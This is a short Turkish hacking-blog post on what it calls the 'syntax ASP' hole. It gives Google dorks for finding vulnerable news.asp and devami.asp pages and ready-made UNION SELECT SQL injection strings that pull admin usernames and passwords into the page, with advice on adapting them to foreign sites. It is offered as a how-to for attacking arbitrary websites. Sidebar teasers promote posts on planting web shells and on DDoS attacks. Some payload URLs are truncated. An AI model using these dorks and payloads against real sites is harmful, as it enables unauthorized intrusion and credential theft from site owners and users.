Syntax Asp Açığı

    Herkese iyi günler arkadaşlar bugünkü konumuz syntax asp açığı hiç uzatmadan anlatıma geçmek istiyorum.
    Aslında Asp Açığı Manual Sql İnjection'a Çok Benziyor Kod Kullanıyoruz Dork Aratıyoruz Kullanıcı Adı Şifreyi Sayfaya Yansıtıyoruz


Google Dork : inurl:news.asp?id=
Google Dork : inurl:devami.asp?id=


KULLANICI ADI : -1+union+select+0,kullaniciadi,2,3,4,5,6,7+from+adm in


ŞİFRE : -1+union+select+0,sifre,2,3,4,5,6,7+from+admin


Şimdi Bu Kodlar Türk Siteler İçin Yabancı Siteler İçin ''kullaniciadi'' ''sifre'' Bölümünü Google Translatede Çevirip Kodu Değiştirin.


Peki Bu Kodlar Nasıl Kullanılır ;


http://www.siteadı.com/index.php?id=24


Siz 24'ü Silip Kodu Yapıştırıyorsunuz Aynen Şu Şekilde ;



http://www.siteadı.com/index.php?id=...6,7+from+admin


http://www.siteadı.com/index.php?id=...6,7+from+admin


Kullanıcı Adı Kodunda Sayfaya Kullanıcı Adı Yansıyor Şifre Kodundada Şifre Yansıyor...


Asp Açığı Buraya Kadardır....

Yorumlar

Yorum Gönder

Bu blogdaki popüler yayınlar

Shell Nedir ? Siteye Nasıl Sokulur ?

Shell Nedir? Nasıl Atılır? Neye Yarar? 1) shell nedir? 2) shell Nasıl Atılır? 3) Kaç Tür shell Vardır? 1) shell nedir? Shell Yüklendiği Sitede Size Çeşitli Yetkiler Veren Bir Materyaldir. Bu Yetkiler; Okuma, Yazma ve Silme Yetkileridir. shell Attığınız Sitede Bazen Bir Site Sahibinin Yetkilerini Kullanabilirken, Bazende Server(Host) Sahibinin Yetkilerini Kullana Biliyorsunuz. Bu Olaya Permission Yetkisi Denilir. Permissionları (İzinleri) Açık Olan Bir Sunucuda İstediğiniz Bütün Dosya ve Klasöri Okuyabilir, Silebilir veya Yükleme Yapabilirsiniz. İzinleri Kapalı Bir Sunucuda İse Bu Yetkiler Sınırlıdır. Tam Yetkiye Ulaşabilmeniz İçin Serveri Rootlamanız Gerekmektedir. Bir shelli En İyi Şekilde Kullanabilmek İçin shell Komutlarını İyi Bilmek Gerekir. Bunun Sebebi İse Sınırlı Erişiminiz Olan Sunucularda Tam Yetkiye Sahip Olmanız İçindir. Bir Çok Sunucuda Manuel Geçişlere İzin Verilmektedir. Spoll/Mail Kısmından Sunucudaki Diğer Sitelerin Kullanıcı Adını Öğrenerek ...
Devamı

Mozilla Firefox Hızlandırma

      Merhaba arkadaşlar bugün size mozilla firefox'u nasıl hızlandırıcağınızı anlatıcam. Dediklerimi yaparak tarayıcınızın hızlandığını fark ediceksiniz.           "Normal olarak Firefox bir web sayfasını açmak için o sayfaya bir istek gönderir. Eğer Firefox da Pipeling özelliğini aktif hale getirirseniz, sayfaya istek gönderilmez, aksine direkt olarak sayfa açılmaya çalışılır. Buda sayfanın daha çabuk tarayıcı ekranında gösterilmesini sağlar. Firefox 1.0 da Pipeling özelliğini aşağıdaki şekilde aktif hale getirebilirsiniz: 1. İlk önce URL adres çubuğunda "about:config" yazın ve enter yapın. 2. Açılan menüdeki arama çubuğunda "pipelining" yazarak arama kriterlerini kısaltın. (Daha az sonuç ekrana yansır) 3.Aşağıdaki değerlerin TRUE olmasını sağlayın * network.http.pipelining * network.http.proxy.pipelining Tips: Bu parametreler üstüne 2 kere çift tıklayarak TRUE olmasını sağlayabilirsiniz. 4. En fazla sorgulama için 30 değerini a...
Devamı

DDos Atak Nedir ?

      Herkese iyi günler bugünkü konumuz ddos atak kısaca bahsetmek istiyorum. DDos Attack Nedir? (Ddos Saldırı) DDOS saldırılarından korunmak oldukça zordur. Genellikle DDOS saldırı konusunda çok usta olan bilgisayar korsanları bile kendi sunucularını DDOS'dan koruma konusunda aynı şekilde başarılı değildirler. Küçük boyutlardaki (30-40 bilgisayardan oluşan botnet gibi) bir DDOS saldırısı, yazılım ile çoğu zaman kaynak IP adresleri bloke edilerek engellenebilir, fakat saldırı daha büyük boyutlardaysa saldıran IP adreslerini tanımlayıp engelleseniz bile gelen veri size atanan bant genişliğini harcayarak sitenizi açılmaz hale getirebilir. DDOS saldırılarının bazen haftalar hatta aylarca sürdüğü düşünülürse bu ekstra bant genişliği faturası ve bunun yanında ziyaretçiye iyi hizmet sunamamak oldukça sinir bozucu olabiliyor. DDOS saldırılarında genellikle ++++++'ın hedef sunucuya doğrudan bağlanması gerekmediğinden, kim olduğunun bulunması da son derece güç bir işt...
Devamı